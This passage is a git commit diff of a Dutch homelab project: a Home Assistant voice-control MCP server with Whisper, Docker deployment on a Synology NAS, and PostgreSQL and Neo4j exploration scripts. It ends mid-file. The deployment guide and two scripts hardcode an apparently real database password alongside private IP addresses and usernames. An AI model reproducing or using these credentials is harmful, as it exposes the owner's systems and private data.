Initial commit: homelab configs, Docker, Neo4j, voice control, Gitea
This commit is contained in:
@@ -0,0 +1,37 @@
|
|||||||
|
# Bestanden die NIET in de Docker image hoeven
|
||||||
|
# (Dockerfile + docker-compose.yml blijven op de NAS, gaan niet in image)
|
||||||
|
|
||||||
|
# Python cache
|
||||||
|
__pycache__/
|
||||||
|
*.pyc
|
||||||
|
*.pyo
|
||||||
|
*.egg-info/
|
||||||
|
.mypy_cache/
|
||||||
|
|
||||||
|
# Lokaal
|
||||||
|
.env
|
||||||
|
.git/
|
||||||
|
|
||||||
|
# Test/tmp bestanden
|
||||||
|
_test*.py
|
||||||
|
_db_check*.py
|
||||||
|
_fix_*.py
|
||||||
|
_smoke*.py
|
||||||
|
_check_*.py
|
||||||
|
*.db
|
||||||
|
*.wav
|
||||||
|
*.mp3
|
||||||
|
*.log
|
||||||
|
|
||||||
|
# Documentatie en tools (niet nodig in container)
|
||||||
|
*.md
|
||||||
|
nginx/
|
||||||
|
mcp_config_example.toml
|
||||||
|
scanner.py
|
||||||
|
import_to_neo4j.py
|
||||||
|
import_passwords.py
|
||||||
|
setup_dbeaver.ps1
|
||||||
|
dbeaver-connections-import.json
|
||||||
|
r.json
|
||||||
|
resp.json
|
||||||
|
args.json
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
# Home Assistant Voice Control — configuratie
|
||||||
|
# Kopieer dit bestand naar .env en vul je eigen waarden in
|
||||||
|
|
||||||
|
# ── Home Assistant ──────────────────────────────────────────────────────────
|
||||||
|
# URL van je Home Assistant instantie
|
||||||
|
HA_URL=http://192.168.1.235:8123
|
||||||
|
|
||||||
|
# Long-lived access token (aanmaken via HA → Profiel → Beveiliging)
|
||||||
|
HA_TOKEN=verander_dit_in_jouw_token
|
||||||
|
|
||||||
|
# ── Whisper speech-to-text ──────────────────────────────────────────────────
|
||||||
|
# "local" = faster-whisper (offline, lokaal) — aanbevolen
|
||||||
|
# "openai" = OpenAI Whisper API (vereist API key en internet)
|
||||||
|
WHISPER_MODE=local
|
||||||
|
|
||||||
|
# Model voor lokale modus: tiny, base, small, medium, large-v3
|
||||||
|
# "base" is een goede balans voor Nederlands (~145 MB)
|
||||||
|
WHISPER_MODEL=base
|
||||||
|
|
||||||
|
# Alleen nodig bij WHISPER_MODE=openai
|
||||||
|
OPENAI_API_KEY=
|
||||||
|
|
||||||
|
# Rekenapparaat: "auto", "cpu", of "cuda" (GPU)
|
||||||
|
WHISPER_DEVICE=auto
|
||||||
|
|
||||||
|
# ── Web server ──────────────────────────────────────────────────────────────
|
||||||
|
WEB_HOST=127.0.0.1
|
||||||
|
WEB_PORT=8765
|
||||||
|
|
||||||
|
# CORS origins (komma-gescheiden). "*" = alles toestaan
|
||||||
|
CORS_ORIGINS=*
|
||||||
|
|
||||||
|
# ── Neo4j graph database ────────────────────────────────────────────────────
|
||||||
|
NEO4J_URI=neo4j://192.168.1.211:49153
|
||||||
|
NEO4J_USER=neo4j
|
||||||
|
NEO4J_PASSWORD=
|
||||||
|
|
||||||
|
# ── PostgreSQL ──────────────────────────────────────────────────────────────
|
||||||
|
PG_HOST=192.168.1.211
|
||||||
|
PG_PORT=5433
|
||||||
|
PG_USER=mo
|
||||||
|
PG_PASSWORD=
|
||||||
|
PG_DATABASE=homelab
|
||||||
|
|
||||||
+20
@@ -0,0 +1,20 @@
|
|||||||
|
# Python
|
||||||
|
__pycache__/
|
||||||
|
*.pyc
|
||||||
|
*.pyo
|
||||||
|
|
||||||
|
# Environment
|
||||||
|
.env
|
||||||
|
.env.local
|
||||||
|
|
||||||
|
# IDE
|
||||||
|
.vscode/
|
||||||
|
.idea/
|
||||||
|
|
||||||
|
# OS
|
||||||
|
Thumbs.db
|
||||||
|
.DS_Store
|
||||||
|
|
||||||
|
# Temp batch files
|
||||||
|
_deploy_*.bat
|
||||||
|
_*.bat
|
||||||
@@ -0,0 +1,81 @@
|
|||||||
|
# DBeaver — Database Connecties voor Homelab
|
||||||
|
|
||||||
|
## PostgreSQL (homelab op Synology NAS)
|
||||||
|
|
||||||
|
**Connection type:** PostgreSQL
|
||||||
|
|
||||||
|
| Instelling | Waarde |
|
||||||
|
|----------------------|---------------------------------|
|
||||||
|
| Host | 192.168.1.211 |
|
||||||
|
| Port | 5433 |
|
||||||
|
| Database | homelab |
|
||||||
|
| Username | mo |
|
||||||
|
| Password | (zie .env bestand) |
|
||||||
|
| SSL | disable (lokaal netwerk) |
|
||||||
|
|
||||||
|
**Schemas om te bekijken:**
|
||||||
|
- `dashboard` — favorites, passwords, calendar_events, settings, file_index, photos, widgets
|
||||||
|
|
||||||
|
**DBeaver stappen:**
|
||||||
|
1. New Database Connection → PostgreSQL
|
||||||
|
2. Vul bovenstaande gegevens in
|
||||||
|
3. Test Connection → Finish
|
||||||
|
4. In Database Navigator: rechtermuis op Tables → Refresh
|
||||||
|
|
||||||
|
|
||||||
|
## Neo4j (netwerk graph op Synology NAS)
|
||||||
|
|
||||||
|
**Connection type:** Neo4j (via Bolt)
|
||||||
|
|
||||||
|
| Instelling | Waarde |
|
||||||
|
|----------------------|---------------------------------|
|
||||||
|
| URI | neo4j://192.168.1.211:49153 |
|
||||||
|
| Browser UI | http://192.168.1.211:49154 |
|
||||||
|
| Username | neo4j |
|
||||||
|
| Password | (zie .env bestand) |
|
||||||
|
|
||||||
|
**DBeaver stappen (vereist Neo4j JDBC driver):**
|
||||||
|
1. New Database Connection → Neo4j
|
||||||
|
2. Vul URI, username, password in
|
||||||
|
3. Test Connection → Finish
|
||||||
|
4. Run queries zoals:
|
||||||
|
```cypher
|
||||||
|
MATCH (d:Device) RETURN d.ip, d.hostname, d.os_guess
|
||||||
|
MATCH (d:Device)-[:HAS_PORT]->(p:Port) RETURN d.ip, p.number, p.service
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Snelle setup via DBeaver CLI / Import
|
||||||
|
|
||||||
|
Je kunt ook deze `.dbeaver-data-sources.json` importeren:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"folders": {},
|
||||||
|
"connections": {
|
||||||
|
"postgresql-homelab": {
|
||||||
|
"provider": "postgresql",
|
||||||
|
"driver": "postgresql-jdbc",
|
||||||
|
"name": "Homelab PostgreSQL",
|
||||||
|
"host": "192.168.1.211",
|
||||||
|
"port": "5433",
|
||||||
|
"database": "homelab",
|
||||||
|
"user": "mo",
|
||||||
|
"savePassword": true,
|
||||||
|
"configurationType": "MANUAL",
|
||||||
|
"properties": {
|
||||||
|
"connectTimeout": "20"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"neo4j-homelab": {
|
||||||
|
"provider": "neo4j",
|
||||||
|
"driver": "neo4j-jdbc",
|
||||||
|
"name": "Homelab Neo4j",
|
||||||
|
"url": "neo4j://192.168.1.211:49153",
|
||||||
|
"user": "neo4j",
|
||||||
|
"savePassword": true,
|
||||||
|
"configurationType": "MANUAL"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
+22
@@ -0,0 +1,22 @@
|
|||||||
|
# Dockerfile — HA Voice Control + Dashboard voor Synology NAS
|
||||||
|
FROM python:3.12-slim
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
# Systeem dependencies (ffmpeg nodig voor Whisper audio)
|
||||||
|
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||||
|
libsndfile1 \
|
||||||
|
ffmpeg \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
# Python dependencies (twee losse stappen = betere caching)
|
||||||
|
COPY requirements.txt requirements-neo4j.txt ./
|
||||||
|
RUN pip install --no-cache-dir -r requirements.txt -r requirements-neo4j.txt
|
||||||
|
|
||||||
|
# Applicatiecode
|
||||||
|
COPY config.py .
|
||||||
|
COPY src/ ./src/
|
||||||
|
COPY static/ ./static/
|
||||||
|
|
||||||
|
EXPOSE 8765
|
||||||
|
CMD ["python", "-m", "src.web_server"]
|
||||||
@@ -0,0 +1,238 @@
|
|||||||
|
# HA Voice Control — MCP Server + Webinterface
|
||||||
|
|
||||||
|
Spraakgestuurde Home Assistant bediening via Whisper voice-to-text.
|
||||||
|
Druk op een knop, spreek je commando, en stuur je smarthome aan.
|
||||||
|
|
||||||
|
## Architectuur
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────────┐ ┌──────────────────┐ ┌─────────────────┐
|
||||||
|
│ Browser │────▶│ nginx (SSL) │────▶│ FastAPI │
|
||||||
|
│ (microfoon) │ │ ha.el-kadi.nl │ │ :8765 │
|
||||||
|
└──────────────┘ └──────────────────┘ │ │
|
||||||
|
│ ┌─────────────┐ │
|
||||||
|
┌──────────────┐ │ │ Whisper │ │
|
||||||
|
│ Claude / │──▶ MCP stdio ───────────────▶│ │ (spraak→tekst)│ │
|
||||||
|
│ DeepSeek │ │ └─────────────┘ │
|
||||||
|
└──────────────┘ │ ┌─────────────┐ │
|
||||||
|
│ │ HA REST API │ │
|
||||||
|
│ │ 192.168... │ │
|
||||||
|
│ └─────────────┘ │
|
||||||
|
└──────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
Twee interfaces:
|
||||||
|
1. **Web UI** op `www.ha.el-kadi.nl` — push-to-talk knop in de browser
|
||||||
|
2. **MCP Server** — via Claude Desktop / DeepSeek TUI (stdio)
|
||||||
|
|
||||||
|
Beide gebruiken dezelfde Whisper-transcriptie en Home Assistant client.
|
||||||
|
|
||||||
|
## Vereisten
|
||||||
|
|
||||||
|
- Python 3.10+
|
||||||
|
- Home Assistant met een [long-lived access token](https://www.home-assistant.io/docs/authentication/#your-account-profile)
|
||||||
|
- nginx (voor SSL en domein)
|
||||||
|
- Een domein (hier: `ha.el-kadi.nl`) met DNS die naar jouw server wijst
|
||||||
|
- Optioneel: CUDA-compatibele GPU voor snellere lokale Whisper
|
||||||
|
|
||||||
|
## Installatie
|
||||||
|
|
||||||
|
### 1. Clone en installeer dependencies
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /opt # of een andere gewenste locatie
|
||||||
|
git clone <jouw-repo> ha-voice-control
|
||||||
|
cd ha-voice-control
|
||||||
|
python -m venv venv
|
||||||
|
source venv/bin/activate # Windows: venv\Scripts\activate
|
||||||
|
pip install -r requirements.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Configuratie
|
||||||
|
|
||||||
|
Kopieer het voorbeeld en vul je gegevens in:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cp .env.example .env
|
||||||
|
```
|
||||||
|
|
||||||
|
Bewerk `.env`:
|
||||||
|
|
||||||
|
```env
|
||||||
|
# Home Assistant
|
||||||
|
HA_URL=http://192.168.1.235:8123
|
||||||
|
HA_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
|
||||||
|
|
||||||
|
# Whisper: "local" (faster-whisper, offline) of "openai" (API)
|
||||||
|
WHISPER_MODE=local
|
||||||
|
WHISPER_MODEL=base
|
||||||
|
|
||||||
|
# Web server
|
||||||
|
WEB_HOST=127.0.0.1
|
||||||
|
WEB_PORT=8765
|
||||||
|
```
|
||||||
|
|
||||||
|
De Home Assistant token maak je aan via:
|
||||||
|
**Home Assistant → Profiel (linksonder) → Beveiliging → Lange-levensduur toegangstokens**
|
||||||
|
|
||||||
|
### 3. Eerste keer Whisper model downloaden
|
||||||
|
|
||||||
|
Bij de eerste start met `WHISPER_MODE=local` downloadt faster-whisper automatisch het model.
|
||||||
|
Beschikbare modellen (oplopend in grootte/nauwkeurigheid):
|
||||||
|
- `tiny` / `tiny.en` — ~75 MB, snelste
|
||||||
|
- `base` / `base.en` — ~145 MB, aanbevolen voor NL
|
||||||
|
- `small` / `small.en` — ~488 MB
|
||||||
|
- `medium` / `medium.en` — ~1.5 GB
|
||||||
|
- `large-v3` — ~3 GB, meest accuraat
|
||||||
|
|
||||||
|
`.en` varianten zijn alleen voor Engels. Voor Nederlands gebruik je de meertalige versies.
|
||||||
|
|
||||||
|
### 4. Start de web server
|
||||||
|
|
||||||
|
```bash
|
||||||
|
source venv/bin/activate
|
||||||
|
python -m src.web_server
|
||||||
|
# Of direct met uvicorn:
|
||||||
|
uvicorn src.web_server:app --host 127.0.0.1 --port 8765
|
||||||
|
```
|
||||||
|
|
||||||
|
Test of het werkt: `curl http://127.0.0.1:8765/api/health`
|
||||||
|
|
||||||
|
### 5. nginx + SSL configureren
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Kopieer de nginx config
|
||||||
|
sudo cp nginx/ha.el-kadi.nl.conf /etc/nginx/sites-available/
|
||||||
|
sudo ln -s /etc/nginx/sites-available/ha.el-kadi.nl.conf /etc/nginx/sites-enabled/
|
||||||
|
|
||||||
|
# SSL certificaten met Let's Encrypt (certbot)
|
||||||
|
sudo certbot --nginx -d ha.el-kadi.nl -d www.ha.el-kadi.nl
|
||||||
|
|
||||||
|
# Pas de ssl_certificate paden aan in de config indien nodig
|
||||||
|
# Herlaad nginx
|
||||||
|
sudo nginx -t && sudo systemctl reload nginx
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6. Systemd service (zodat de server automatisch start)
|
||||||
|
|
||||||
|
Maak `/etc/systemd/system/ha-voice-control.service`:
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[Unit]
|
||||||
|
Description=HA Voice Control Web Server
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=simple
|
||||||
|
User=www-data
|
||||||
|
WorkingDirectory=/opt/ha-voice-control
|
||||||
|
EnvironmentFile=/opt/ha-voice-control/.env
|
||||||
|
ExecStart=/opt/ha-voice-control/venv/bin/python -m src.web_server
|
||||||
|
Restart=always
|
||||||
|
RestartSec=5
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo systemctl daemon-reload
|
||||||
|
sudo systemctl enable --now ha-voice-control
|
||||||
|
```
|
||||||
|
|
||||||
|
## MCP Server gebruiken
|
||||||
|
|
||||||
|
### Claude Desktop
|
||||||
|
|
||||||
|
Voeg toe aan je `claude_desktop_config.json`:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"mcpServers": {
|
||||||
|
"ha-voice": {
|
||||||
|
"command": "python",
|
||||||
|
"args": ["-m", "src.mcp_server"],
|
||||||
|
"cwd": "/opt/ha-voice-control",
|
||||||
|
"env": {
|
||||||
|
"HA_TOKEN": "jouw-token-hier",
|
||||||
|
"WHISPER_MODE": "local"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### DeepSeek TUI
|
||||||
|
|
||||||
|
In je `config.toml`:
|
||||||
|
|
||||||
|
```toml
|
||||||
|
[[mcp_servers]]
|
||||||
|
name = "ha-voice"
|
||||||
|
command = "python"
|
||||||
|
args = ["-m", "src.mcp_server"]
|
||||||
|
cwd = "/opt/ha-voice-control"
|
||||||
|
env = { HA_TOKEN = "jouw-token-hier", WHISPER_MODE = "local" }
|
||||||
|
```
|
||||||
|
|
||||||
|
### Beschikbare MCP tools
|
||||||
|
|
||||||
|
| Tool | Beschrijving |
|
||||||
|
|------|-------------|
|
||||||
|
| `speak_command` | Base64 audio → transcribeer → voer uit via HA |
|
||||||
|
| `transcribe_audio` | Alleen transcriberen, geen actie |
|
||||||
|
| `send_text_command` | Stuur tekst naar HA conversation agent |
|
||||||
|
| `list_lights` | Toon alle lampen en hun status |
|
||||||
|
| `control_light` | Zet een lamp aan/uit/toggle met helderheid |
|
||||||
|
| `list_all_entities` | Toon alle HA entities |
|
||||||
|
| `get_entity_state` | State van één entity opvragen |
|
||||||
|
| `call_ha_service` | Roep een willekeurige HA service aan |
|
||||||
|
|
||||||
|
## API endpoints (web server)
|
||||||
|
|
||||||
|
| Methode | Pad | Beschrijving |
|
||||||
|
|---------|-----|-------------|
|
||||||
|
| `GET` | `/api/health` | Health check |
|
||||||
|
| `POST` | `/api/transcribe` | Upload audio (multipart), krijg transcriptie + HA resultaat |
|
||||||
|
| `POST` | `/api/command` | `{"text": "doe de lampen uit"}` → HA |
|
||||||
|
| `GET` | `/api/lights` | Alle lampen met status |
|
||||||
|
| `POST` | `/api/light/control` | `{"entity_id": "...", "action": "turn_on"}` |
|
||||||
|
| `GET` | `/api/entities?domain=light` | Entities (optioneel gefilterd) |
|
||||||
|
| `GET` | `/api/entity/{entity_id}` | Volledige state van één entity |
|
||||||
|
| `POST` | `/api/service` | `{"domain": "light", "service": "turn_on", "entity_id": "..."}` |
|
||||||
|
|
||||||
|
## Gebruik
|
||||||
|
|
||||||
|
1. Open `https://www.ha.el-kadi.nl` in je browser (Chrome/Edge/Safari op desktop of mobiel)
|
||||||
|
2. Geef de browser toestemming voor de microfoon
|
||||||
|
3. Houd de microfoonknop ingedrukt en spreek je commando:
|
||||||
|
- "Doe de lampen in de woonkamer aan"
|
||||||
|
- "Zet alle lichten uit"
|
||||||
|
- "Dim de slaapkamer naar 50 procent"
|
||||||
|
4. Laat de knop los — je commando wordt getranscribeerd en uitgevoerd
|
||||||
|
5. Je ziet het resultaat verschijnen
|
||||||
|
|
||||||
|
De lampen onderaan de pagina kun je ook direct met de toggle-schakelaars bedienen.
|
||||||
|
|
||||||
|
## Troubleshooting
|
||||||
|
|
||||||
|
**"Microfoon niet beschikbaar"**
|
||||||
|
- De site moet via HTTPS geladen worden (browsers vereisen dit voor `getUserMedia`)
|
||||||
|
- Controleer of nginx SSL correct is ingesteld
|
||||||
|
- Lokaal testen op `localhost` werkt ook zonder HTTPS
|
||||||
|
|
||||||
|
**Transcriptie werkt niet / foutmelding**
|
||||||
|
- Check of `faster-whisper` correct is geïnstalleerd: `pip list | grep faster`
|
||||||
|
- Controleer de logs: `journalctl -u ha-voice-control -f`
|
||||||
|
- Bij Open AI-modus: check of `OPENAI_API_KEY` is ingesteld
|
||||||
|
- Het model wordt de eerste keer gedownload; dit kan even duren
|
||||||
|
|
||||||
|
**"Fout bij uitvoeren" / Home Assistant niet bereikbaar**
|
||||||
|
- Controleer of `HA_URL` klopt en bereikbaar is vanaf de server
|
||||||
|
- Verifieer de token: `curl -H "Authorization: Bearer $HA_TOKEN" $HA_URL/api/`
|
||||||
|
- Check of de conversation agent in HA is ingeschakeld (Standaard is `conversation` integratie actief)
|
||||||
|
|
||||||
|
**Audio wordt niet goed herkend**
|
||||||
|
- Gebruik een groter Whisper-model (`small` of `medium`) voor betere NL herkenning
|
||||||
|
- Spreek duidelijk en dicht bij de microfoon
|
||||||
|
- Verminder achtergrondgeluid
|
||||||
@@ -0,0 +1,75 @@
|
|||||||
|
# Deployen op Synology NAS
|
||||||
|
|
||||||
|
## Stap 1: Code naar je NAS kopiëren
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Vanaf je Windows machine:
|
||||||
|
scp -r C:\Users\moel-\Desktop\dev\mcp mo@192.168.1.211:/volume1/docker/ha-voice-control/
|
||||||
|
# Of via SMB: \\192.168.1.211\docker\ha-voice-control\
|
||||||
|
```
|
||||||
|
|
||||||
|
Je hebt deze bestanden nodig op de NAS:
|
||||||
|
- `Dockerfile`, `docker-compose.yml`, `.dockerignore`
|
||||||
|
- `config.py`, `requirements.txt`, `requirements-neo4j.txt`
|
||||||
|
- `src/` (volledige map)
|
||||||
|
- `static/` (volledige map)
|
||||||
|
|
||||||
|
## Stap 2: .env aanmaken op de NAS
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ssh mo@192.168.1.211
|
||||||
|
cd /volume1/docker/ha-voice-control
|
||||||
|
nano .env
|
||||||
|
```
|
||||||
|
|
||||||
|
Inhoud van `.env`:
|
||||||
|
```env
|
||||||
|
HA_TOKEN=jouw-home-assistant-token
|
||||||
|
PG_PASSWORD=WaQTUw2t
|
||||||
|
NEO4J_PASSWORD=WaQTUw2t
|
||||||
|
```
|
||||||
|
|
||||||
|
## Stap 3: Bouwen en starten
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /volume1/docker/ha-voice-control
|
||||||
|
|
||||||
|
# Bouw de image (duurt ~5 min eerste keer)
|
||||||
|
docker-compose build
|
||||||
|
|
||||||
|
# Start de container
|
||||||
|
docker-compose up -d
|
||||||
|
|
||||||
|
# Check logs
|
||||||
|
docker-compose logs -f
|
||||||
|
```
|
||||||
|
|
||||||
|
## Stap 4: Testen
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl http://localhost:8765/api/health
|
||||||
|
curl http://localhost:8765/api/dashboard/overview
|
||||||
|
```
|
||||||
|
|
||||||
|
Dashboard: `http://192.168.1.211:8765/dashboard`
|
||||||
|
Voice Control: `http://192.168.1.211:8765`
|
||||||
|
|
||||||
|
## Optioneel: achter nginx/reverse proxy
|
||||||
|
|
||||||
|
Als je de interface via je bestaande domein (`ha.el-kadi.nl`) wilt:
|
||||||
|
- Voeg een proxy_pass toe in je nginx config naar `http://localhost:8765`
|
||||||
|
|
||||||
|
## Whisper model aanpassen
|
||||||
|
|
||||||
|
In `docker-compose.yml`, pas `WHISPER_MODEL` aan:
|
||||||
|
- `tiny` (~75MB) — snelste, voor simpele commando's
|
||||||
|
- `base` (~145MB) — aanbevolen voor Nederlands
|
||||||
|
- `small` (~488MB) — betere herkenning, trager op NAS CPU
|
||||||
|
|
||||||
|
## Container Manager (DSM UI)
|
||||||
|
|
||||||
|
Als je DSM's Container Manager gebruikt i.p.v. CLI:
|
||||||
|
1. Open Container Manager → Project → Create
|
||||||
|
2. Project name: `ha-voice-control`
|
||||||
|
3. Selecteer `/volume1/docker/ha-voice-control/docker-compose.yml`
|
||||||
|
4. Klik Next → Done
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
from mcp.server import Server
|
||||||
|
s = Server("test")
|
||||||
|
# Check for tool registration methods
|
||||||
|
methods = [m for m in dir(s) if 'tool' in m.lower()]
|
||||||
|
print("Tool-related methods:", methods)
|
||||||
|
# Check type
|
||||||
|
print("Type:", type(s))
|
||||||
|
# Check available decorators/functions
|
||||||
|
all_attrs = [m for m in dir(s) if not m.startswith('_')]
|
||||||
|
print("Public attrs:", all_attrs[:30])
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
from mcp.server import Server
|
||||||
|
from mcp.types import Tool
|
||||||
|
import inspect
|
||||||
|
|
||||||
|
s = Server("test")
|
||||||
|
|
||||||
|
# Check if list_tools is a decorator or a method to override
|
||||||
|
print("list_tools signature:", inspect.signature(s.list_tools))
|
||||||
|
print("call_tool signature:", inspect.signature(s.call_tool))
|
||||||
|
|
||||||
|
# Check if there's a decorator pattern
|
||||||
|
import mcp.server
|
||||||
|
print("\nmcp.server module contents:")
|
||||||
|
for name in dir(mcp.server):
|
||||||
|
if not name.startswith('_'):
|
||||||
|
print(f" {name}")
|
||||||
|
|
||||||
|
# Check mcp.server.lowlevel
|
||||||
|
import mcp.server.lowlevel.server as ll
|
||||||
|
for name in dir(ll):
|
||||||
|
if 'tool' in name.lower():
|
||||||
|
print(f" lowlevel: {name}")
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
from mcp.server import FastMCP
|
||||||
|
import inspect
|
||||||
|
|
||||||
|
# Check FastMCP API
|
||||||
|
print("FastMCP methods with 'tool':")
|
||||||
|
for name in dir(FastMCP):
|
||||||
|
if 'tool' in name.lower():
|
||||||
|
print(f" {name}")
|
||||||
|
|
||||||
|
# Check if it has a tool decorator
|
||||||
|
if hasattr(FastMCP, 'tool'):
|
||||||
|
print("\nFastMCP.tool is a decorator!")
|
||||||
|
print(inspect.signature(FastMCP.tool))
|
||||||
+105
@@ -0,0 +1,105 @@
|
|||||||
|
"""Database verkenning: PostgreSQL + Neo4j"""
|
||||||
|
import os, sys
|
||||||
|
os.environ["PG_HOST"] = "192.168.1.211"
|
||||||
|
os.environ["PG_PORT"] = "5433"
|
||||||
|
os.environ["PG_USER"] = "mo"
|
||||||
|
os.environ["PG_PASSWORD"] = "WaQTUw2t"
|
||||||
|
os.environ["PG_DATABASE"] = "homelab"
|
||||||
|
os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153"
|
||||||
|
os.environ["NEO4J_USER"] = "neo4j"
|
||||||
|
os.environ["NEO4J_PASSWORD"] = "WaQTUw2t"
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
print("=" * 70)
|
||||||
|
print("POSTGRESQL VERKENNING")
|
||||||
|
print("=" * 70)
|
||||||
|
|
||||||
|
try:
|
||||||
|
from src.pg_client import query
|
||||||
|
|
||||||
|
# Alle schemas
|
||||||
|
print("\n--- Schemas ---")
|
||||||
|
schemas = query("SELECT schema_name FROM information_schema.schemata ORDER BY schema_name")
|
||||||
|
for s in schemas:
|
||||||
|
print(f" {s['schema_name']}")
|
||||||
|
|
||||||
|
# Alle tabellen
|
||||||
|
print("\n--- Tabellen ---")
|
||||||
|
tables = query("""
|
||||||
|
SELECT table_schema, table_name
|
||||||
|
FROM information_schema.tables
|
||||||
|
WHERE table_type = 'BASE TABLE'
|
||||||
|
ORDER BY table_schema, table_name
|
||||||
|
""")
|
||||||
|
for t in tables:
|
||||||
|
print(f" {t['table_schema']}.{t['table_name']}")
|
||||||
|
|
||||||
|
# Per tabel details + sample data
|
||||||
|
for t in tables:
|
||||||
|
schema = t['table_schema']
|
||||||
|
name = t['table_name']
|
||||||
|
full = f"{schema}.{name}"
|
||||||
|
|
||||||
|
cols = query("""
|
||||||
|
SELECT column_name, data_type
|
||||||
|
FROM information_schema.columns
|
||||||
|
WHERE table_schema = %s AND table_name = %s
|
||||||
|
ORDER BY ordinal_position
|
||||||
|
""", (schema, name))
|
||||||
|
|
||||||
|
try:
|
||||||
|
count = query(f"SELECT count(*) as cnt FROM {full}", fetch="one")
|
||||||
|
cnt = count['cnt']
|
||||||
|
except Exception as e:
|
||||||
|
cnt = f"ERR: {e}"
|
||||||
|
|
||||||
|
print(f"\n [{cnt} rows] {full}")
|
||||||
|
col_names = [c['column_name'] for c in cols]
|
||||||
|
print(f" Kolommen: {', '.join(col_names)}")
|
||||||
|
|
||||||
|
# Sample data (max 5 rijen)
|
||||||
|
if isinstance(cnt, int) and cnt > 0:
|
||||||
|
try:
|
||||||
|
rows = query(f"SELECT * FROM {full} LIMIT 5")
|
||||||
|
for i, row in enumerate(rows):
|
||||||
|
print(f" Row {i+1}: {dict(row)}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f" Sample fout: {e}")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"PostgreSQL FOUT: {e}")
|
||||||
|
import traceback
|
||||||
|
traceback.print_exc()
|
||||||
|
|
||||||
|
print("\n" + "=" * 70)
|
||||||
|
print("NEO4J VERKENNING")
|
||||||
|
print("=" * 70)
|
||||||
|
|
||||||
|
try:
|
||||||
|
from src.neo4j_client import get_driver, get_all_devices, get_scan_history, get_network_summary, close
|
||||||
|
|
||||||
|
devices = get_all_devices()
|
||||||
|
print(f"\nDevices: {len(devices)}")
|
||||||
|
for d in devices:
|
||||||
|
ports = [p.get('port') for p in (d.get('ports') or []) if p and p.get('port')]
|
||||||
|
print(f" {d['ip']:<16} {d.get('hostname','')[:30]:<30} {d.get('os_guess','')[:25]:<25} ports={ports}")
|
||||||
|
|
||||||
|
print(f"\n--- Scan History ---")
|
||||||
|
scans = get_scan_history()
|
||||||
|
for s in scans:
|
||||||
|
print(f" {s}")
|
||||||
|
|
||||||
|
print(f"\n--- Summary ---")
|
||||||
|
summary = get_network_summary()
|
||||||
|
print(f" {summary}")
|
||||||
|
|
||||||
|
close()
|
||||||
|
print("\nNeo4j: OK")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Neo4j FOUT: {e}")
|
||||||
|
import traceback
|
||||||
|
traceback.print_exc()
|
||||||
|
|
||||||
|
print("\nDONE.")
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
"""Gerichte database check: dashboard data + Neo4j"""
|
||||||
|
import os, sys, json
|
||||||
|
os.environ["PG_HOST"] = "192.168.1.211"
|
||||||
|
os.environ["PG_PORT"] = "5433"
|
||||||
|
os.environ["PG_USER"] = "mo"
|
||||||
|
os.environ["PG_PASSWORD"] = "WaQTUw2t"
|
||||||
|
os.environ["PG_DATABASE"] = "homelab"
|
||||||
|
os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153"
|
||||||
|
os.environ["NEO4J_USER"] = "neo4j"
|
||||||
|
os.environ["NEO4J_PASSWORD"] = "WaQTUw2t"
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
|
# Fix encoding
|
||||||
|
sys.stdout.reconfigure(encoding='utf-8')
|
||||||
|
|
||||||
|
print("=" * 70)
|
||||||
|
print("DASHBOARD DATA (PostgreSQL)")
|
||||||
|
print("=" * 70)
|
||||||
|
|
||||||
|
from src.pg_client import query
|
||||||
|
|
||||||
|
# Favorites
|
||||||
|
print("\n--- FAVORITES (20 rows) ---")
|
||||||
|
rows = query("SELECT id, title, url, icon, category, sort_order, is_pinned FROM dashboard.favorites ORDER BY is_pinned DESC, sort_order")
|
||||||
|
for r in rows:
|
||||||
|
pinned = "📌" if r['is_pinned'] else " "
|
||||||
|
print(f" {pinned} [{r['id']}] {r['title']:<30} | {r['url']:<45} | {r['category']}")
|
||||||
|
|
||||||
|
# Settings
|
||||||
|
print("\n--- SETTINGS (5 rows) ---")
|
||||||
|
rows = query("SELECT * FROM dashboard.settings ORDER BY key")
|
||||||
|
for r in rows:
|
||||||
|
print(f" {r['key']:<25} = {r['value']}")
|
||||||
|
|
||||||
|
# Passwords
|
||||||
|
